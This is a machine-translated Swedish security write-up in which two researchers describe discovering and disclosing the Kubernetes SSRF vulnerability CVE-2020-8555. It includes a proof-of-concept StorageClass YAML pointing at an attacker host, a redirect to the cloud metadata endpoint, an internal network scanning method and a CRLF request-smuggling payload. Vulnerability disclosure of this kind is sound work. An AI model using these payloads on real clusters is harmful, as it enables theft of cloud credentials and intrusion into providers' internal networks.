När det inte bara handlar om Kubernetes sårbarheter...

Notera. transl.: Författarna till den här artikeln berättar i detalj om hur de lyckades upptäcka sårbarheten CVE-2020-8555 i Kubernetes. Även om det från början inte verkade särskilt farligt, i kombination med andra faktorer visade det sig att dess kritik var maximal för vissa molnleverantörer. Flera organisationer belönade generöst specialisterna för deras arbete.

När det inte bara handlar om Kubernetes sårbarheter...

Vilka är vi

Vi är två franska säkerhetsforskare som tillsammans upptäckt en sårbarhet i Kubernetes. Våra namn är Brice Augras och Christophe Hauquiert, men på många Bug Bounty-plattformar är vi kända som Reeverzax respektive Hach:

Vad hände?

Den här artikeln är vårt sätt att dela hur ett vanligt forskningsprojekt oväntat förvandlades till det mest spännande äventyret i buggjägares liv (åtminstone för nu).

Som du säkert vet har buggjägare ett par anmärkningsvärda funktioner:

  • de lever på pizza och öl;
  • de fungerar när alla andra sover.

Vi är inget undantag från dessa regler: vi brukar träffas på helgerna och spendera sömnlösa nätter med att hacka. Men en av dessa nätter slutade på ett mycket ovanligt sätt.

Till en början skulle vi träffas för att diskutera deltagande i CTF nästa dag. Under en konversation om Kubernetes säkerhet i en hanterad tjänstmiljö kom vi ihåg den gamla idén med SSRF (Förfalskning av begäran på serversidan) och bestämde sig för att försöka använda det som ett attackskript.

Vid 11-tiden satte vi oss för att göra vår research och gick och la oss tidigt på morgonen, mycket nöjda med resultatet. Det var på grund av denna forskning som vi stötte på MSRC Bug Bounty-programmet och kom på en privilegieupptrappning.

Flera veckor/månader gick, och vårt oväntade resultat resulterade i en av de högsta belöningarna i historien om Azure Cloud Bug Bounty – förutom den vi fick från Kubernetes!

Baserat på vårt forskningsprojekt publicerade Kubernetes Product Security Committee CVE-2020-8555.

Nu vill jag sprida information om den hittade sårbarheten så mycket som möjligt. Vi hoppas att du uppskattar fyndet och delar de tekniska detaljerna med andra medlemmar i infosec-communityt!

Så här är vår historia...

sammanhang

För att förstå vad som hände, låt oss först titta på hur Kubernetes fungerar i en molnhanterad miljö.

När du instansierar ett Kubernetes-kluster i en sådan miljö är hanteringslagret vanligtvis molnleverantörens ansvar:

När det inte bara handlar om Kubernetes sårbarheter...
Kontrollskiktet är placerat vid molnleverantörens omkrets, medan Kubernetes-noderna är placerade vid kundens omkrets

För att dynamiskt allokera volymer används en mekanism för att dynamiskt tillhandahålla dem från en extern lagringsbackend och jämföra dem med PVC (beständig volymanspråk, dvs. en begäran om en volym).

Sålunda, efter att PVC har skapats och bundits till StorageClass i K8s-klustret, tas ytterligare åtgärder för att tillhandahålla volymen över av kube/molnkontrollerhanteraren (dess exakta namn beror på releasen). (Notera. transl.: Vi har redan skrivit mer om CCM med hjälp av exemplet på dess implementering för en av molnleverantörerna här.)

Det finns flera typer av provisioner som stöds av Kubernetes: de flesta av dem ingår i orkestratorns kärna, medan andra hanteras av ytterligare leverantörer som placeras i pods i klustret.

I vår forskning fokuserade vi på den interna volymförsörjningsmekanismen, som illustreras nedan:

När det inte bara handlar om Kubernetes sårbarheter...
Dynamisk provisionering av volymer med den inbyggda Kubernetes provisioner

Kort sagt, när Kubernetes distribueras i en hanterad miljö, är controller-hanteraren molnleverantörens ansvar, men begäran om volymskapande (nummer 3 i diagrammet ovan) lämnar molnleverantörens interna nätverk. Och det är här saker och ting blir riktigt intressanta!

Hackscenario

I det här avsnittet kommer vi att förklara hur vi utnyttjade arbetsflödet som nämns ovan och fick tillgång till molntjänstleverantörens interna resurser. Det kommer också att visa dig hur du kan utföra vissa åtgärder, som att skaffa interna referenser eller eskalera privilegier.

En enkel manipulation (i det här fallet Service Side Request Forgery) hjälpte till att flytta bortom klientmiljön till kluster av olika tjänsteleverantörer under hanterade K8:er.

I vår forskning fokuserade vi på GlusterFS-provisioneraren. Trots att den ytterligare sekvensen av åtgärder beskrivs i detta sammanhang är Quobyte, StorageOS och ScaleIO mottagliga för samma sårbarhet.

När det inte bara handlar om Kubernetes sårbarheter...
Missbruk av dynamisk volymförsörjningsmekanism

Under lagringsklassanalys GlusterFS i Golang-klientens källkod vi lagt märke tilldet på den första HTTP-begäran (3) som skickades under volymskapandet, till slutet av den anpassade URL:en i parametern resturl Lagt till /volumes.

Vi bestämde oss för att bli av med denna ytterligare väg genom att lägga till # i parameter resturl. Här är den första YAML-konfigurationen vi använde för att testa för en halvblind SSRF-sårbarhet (du kan läsa mer om t.ex. halvblind eller halvblind SSRF, här - cirka. översätt.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Sedan använde vi binären för att fjärrstyra Kubernetes-klustret kubectl. Vanligtvis tillåter molnleverantörer (Azure, Google, AWS, etc.) dig att erhålla referenser för användning i det här verktyget.

Tack vare detta kunde jag använda min "speciella" fil. Kube-controller-manager körde den resulterande HTTP-begäran:

kubectl create -f sc-poc.yaml

När det inte bara handlar om Kubernetes sårbarheter...
Svaret ur angriparens synvinkel

Kort efter detta kunde vi även ta emot ett HTTP-svar från målservern – via kommandona describe pvc eller get events i kubectl. Och faktiskt: denna standard Kubernetes-drivrutin är för utförlig i sina varningar/felmeddelanden...

Här är ett exempel med länk till https://www.google.frställ in som parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

När det inte bara handlar om Kubernetes sårbarheter...

I detta tillvägagångssätt var vi begränsade till frågor som HTTP POST och kunde inte få innehållet i svarskroppen om returkoden var det 201. Därför bestämde vi oss för att göra ytterligare forskning och utökade detta hackscenario med nya tillvägagångssätt.

Utvecklingen av vår forskning

  • Avancerat scenario #1: Använda en 302-omdirigering från en extern server för att ändra HTTP-metoden för att ge ett mer flexibelt sätt att samla in intern data.
  • Avancerat scenario #2: Automatisera LAN-skanning och upptäckt av interna resurser.
  • Avancerat scenario #3: använda HTTP CRLF + smuggling ("begärsmuggling") för att skapa skräddarsydda HTTP-förfrågningar och ta emot data som extraherats från kube-controller-loggar.

Tekniska specifikationer

  • Forskningen använde Azure Kubernetes Service (AKS) med Kubernetes version 1.12 i regionen Nordeuropa.
  • Scenarierna som beskrivs ovan kördes på de senaste utgåvorna av Kubernetes, med undantag för det tredje scenariot, eftersom han behövde Kubernetes byggda med Golang version ≤ 1.12.
  • Angriparens externa server - https://attacker.com.

Avancerat scenario #1: Omdirigera en HTTP POST-begäran till GET och ta emot känslig data

Den ursprungliga metoden förbättrades genom konfigurationen av angriparens server för att återvända 302 HTTP Recodeför att konvertera en POST-begäran till en GET-begäran (steg 4 i diagrammet):

När det inte bara handlar om Kubernetes sårbarheter...

Första begäran (3) kommer från klienten GlusterFS (Controller Manager), har en POST-typ. Genom att följa dessa steg kunde vi förvandla det till en GET:

  • Som en parameter resturl i StorageClass anges det http://attacker.com/redirect.php.
  • Slutpunkt https://attacker.com/redirect.php svarar med en 302 HTTP-statuskod med följande platsrubrik: http://169.254.169.254. Detta kan vara vilken annan intern resurs som helst - i det här fallet används omdirigeringslänken enbart som ett exempel.
  • Som standard net/http-bibliotek Golang omdirigerar begäran och konverterar POST till en GET med en 302-statuskod, vilket resulterar i en HTTP GET-begäran till målresursen.

För att läsa HTTP-svaret måste du göra describe PVC-objekt:

kubectl describe pvc xxx

Här är ett exempel på ett HTTP-svar i JSON-format som vi kunde ta emot:

När det inte bara handlar om Kubernetes sårbarheter...

Möjligheterna för den hittade sårbarheten vid den tiden var begränsade på grund av följande punkter:

  • Oförmåga att infoga HTTP-rubriker i utgående begäran.
  • Oförmåga att utföra en POST-begäran med parametrar i kroppen (detta är bekvämt att begära nyckelvärdet från en etcd-instans som körs på 2379 port om okrypterad HTTP används).
  • Oförmåga att hämta svarstextinnehåll när statuskoden var 200 och svaret inte hade en JSON-innehållstyp.

Avancerat scenario #2: Skanna det lokala nätverket

Denna halvblinda SSRF-metod användes sedan för att skanna molnleverantörens interna nätverk och polla olika lyssningstjänster (Metadata-instans, Kubelet, etcd, etc.) baserat på svaren kube styrenhet.

När det inte bara handlar om Kubernetes sårbarheter...

Först bestämdes standardlyssningsportarna för Kubernetes-komponenter (8443, 10250, 10251, etc.), och sedan var vi tvungna att automatisera skanningsprocessen.

Eftersom denna metod för att skanna resurser är mycket specifik och inte är kompatibel med klassiska skannrar och SSRF-verktyg, bestämde vi oss för att skapa våra egna arbetare i ett bash-skript som automatiserar hela processen.

Till exempel, för att snabbt skanna intervallet 172.16.0.0/12 i det interna nätverket, lanserades 15 arbetare parallellt. Ovanstående IP-intervall har valts endast som ett exempel och kan komma att ändras till din specifika tjänsteleverantörs IP-intervall.

För att skanna en IP-adress och en port måste du göra följande:

  • ta bort den senast kontrollerade StorageClass;
  • ta bort det tidigare verifierade beständiga volymkravet;
  • ändra IP- och portvärdena sc.yaml;
  • skapa en StorageClass med en ny IP och port;
  • skapa en ny PVC;
  • extrahera skanningsresultat med describe för PVC.

Avancerat scenario #3: CRLF-injektion + smuggling av HTTP i "gamla" versioner av Kubernetes-klustret

Om leverantören utöver detta erbjöd klienter gamla versioner av K8s-klustret и gav dem tillgång till kube-controller-managers loggar blev effekten ännu mer betydande.

Det är verkligen mycket bekvämare för en angripare att ändra HTTP-förfrågningar utformade för att få ett fullständigt HTTP-svar efter eget gottfinnande.

När det inte bara handlar om Kubernetes sårbarheter...

För att implementera det sista scenariot måste följande villkor vara uppfyllda:

  • Användaren måste ha tillgång till kube-controller-manager-loggar (som till exempel i Azure LogInsights).
  • Kubernetes-klustret måste använda en version av Golang som är lägre än 1.12.

Vi distribuerade en lokal miljö som simulerade kommunikation mellan GlusterFS Go-klienten och en falsk målserver (vi kommer att avstå från att publicera PoC för tillfället).

Hittades sårbarhet, som påverkar Golang-versioner lägre än 1.12 och tillåter hackare att utföra HTTP-smuggling/CRLF-attacker.

Genom att kombinera den halvblinda SSRF som beskrivs ovan вместе med detta kunde vi skicka förfrågningar efter vår smak, inklusive byte av rubriker, HTTP-metod, parametrar och data, som kube-controller-manager sedan bearbetade.

Här är ett exempel på ett fungerande "bete" i en parameter resturl StorageClass, som implementerar ett liknande attackscenario:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Resultatet är ett fel oönskat svar, ett meddelande om vilket registreras i kontrollerloggarna. Tack vare utförligheten aktiverad som standard sparas även innehållet i HTTP-svarsmeddelandet där.

När det inte bara handlar om Kubernetes sårbarheter...

Detta var vårt mest effektiva "bete" inom ramen för proof of concept.

Med detta tillvägagångssätt kunde vi utföra några av följande attacker på kluster av olika hanterade k8s-leverantörer: privilegieskalering med autentiseringsuppgifter på metadatainstanser, Master DoS via (okrypterade) HTTP-förfrågningar på etcd master-instanser, etc.

Aftermath

I Kubernetes officiella uttalande om SSRF-sårbarheten vi upptäckte, betygsattes den CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Om vi ​​bara tar hänsyn till sårbarheten som är associerad med Kubernetes omkrets, integritetsvektorn (integritetsvektor) det kvalificerar sig som Ingen.

Men att bedöma de möjliga konsekvenserna i samband med en hanterad tjänstemiljö (och detta var den mest intressanta delen av vår forskning!) fick oss att omklassificera sårbarheten till en klassificering Kritisk CVSS10/10 för många distributörer.

Nedan finns ytterligare information som hjälper dig att förstå våra överväganden när du bedömer de potentiella effekterna i molnmiljöer:

integritet

  • Kör kommandon på distans med hjälp av förvärvade interna autentiseringsuppgifter.
  • Återskapa scenariot ovan med metoden IDOR (Insecure Direct Object Reference) med andra resurser som finns på det lokala nätverket.

Sekretess

  • Attack typ Lateral rörelse tack vare stöld av molnuppgifter (till exempel metadata API).
  • Samla information genom att skanna det lokala nätverket (bestämma SSH-versionen, HTTP-serverversionen, ...).
  • Samla in instans- och infrastrukturinformation genom att polla interna API:er som metadata API (http://169.254.169.254, ...).
  • Stjäla kunddata med hjälp av molnuppgifter.

tillgänglighet

Alla exploateringsscenarier relaterade till attackvektorer på integritet, kan användas för destruktiva åtgärder och leda till att masterinstanser från klientperimetern (eller någon annan) inte är tillgänglig.

Eftersom vi var i en hanterad K8s-miljö och utvärderade påverkan på integritet, kan vi föreställa oss många scenarier som kan påverka tillgängligheten. Ytterligare exempel är att korrumpera etcd-databasen eller göra ett kritiskt anrop till Kubernetes API.

kronologi

  • 6 december 2019: Sårbarhet rapporterad till MSRC Bug Bounty.
  • 3 januari 2020: En tredje part informerade Kubernetes-utvecklare att vi arbetade med ett säkerhetsproblem. Och bad dem att betrakta SSRF som en intern (in-core) sårbarhet. Vi gav sedan en allmän rapport med tekniska detaljer om källan till problemet.
  • 15 januari 2020: Vi tillhandahåller tekniska och allmänna rapporter till Kubernetes-utvecklare på deras begäran (via HackerOne-plattformen).
  • 15 januari 2020: Kubernetes-utvecklare meddelade oss att halvblind SSRF + CRLF-injektion för tidigare utgåvor anses vara en sårbarhet i kärnan. Vi slutade omedelbart att analysera omkretsen av andra tjänsteleverantörer: K8s-teamet tog sig nu av grundorsaken.
  • 15 januari 2020: MSRC-belöning mottagen genom HackerOne.
  • 16 januari 2020: Kubernetes PSC (Product Security Committee) erkände sårbarheten och bad att hålla den hemlig till mitten av mars på grund av det stora antalet potentiella offer.
  • 11 februari 2020: Google VRP-belöning mottagen.
  • 4 mars 2020: Kubernetes-belöning mottagen genom HackerOne.
  • 15 mars 2020: Ursprungligen planerat offentliggörande sköts upp på grund av situationen med covid-19.
  • 1 juni 2020: Kubernetes + Microsoft gemensamt uttalande om sårbarheten.

TL; DR

  • Vi dricker öl och äter pizza :)
  • Vi upptäckte en sårbarhet i kärnan i Kubernetes, även om vi inte hade för avsikt att göra det.
  • Vi genomförde ytterligare analyser av kluster av olika molnleverantörer och kunde öka skadorna orsakade av sårbarheten för att få ytterligare fantastiska bonusar.
  • Du hittar många tekniska detaljer i den här artikeln. Vi diskuterar dem gärna med dig (Twitter: @ReeverZax & @__hach_).
  • Det visade sig att alla möjliga formaliteter och rapportering tog mycket längre tid än väntat.

referenser

PS från översättaren

Läs även på vår blogg:

Källa: will.com

Lägg en kommentar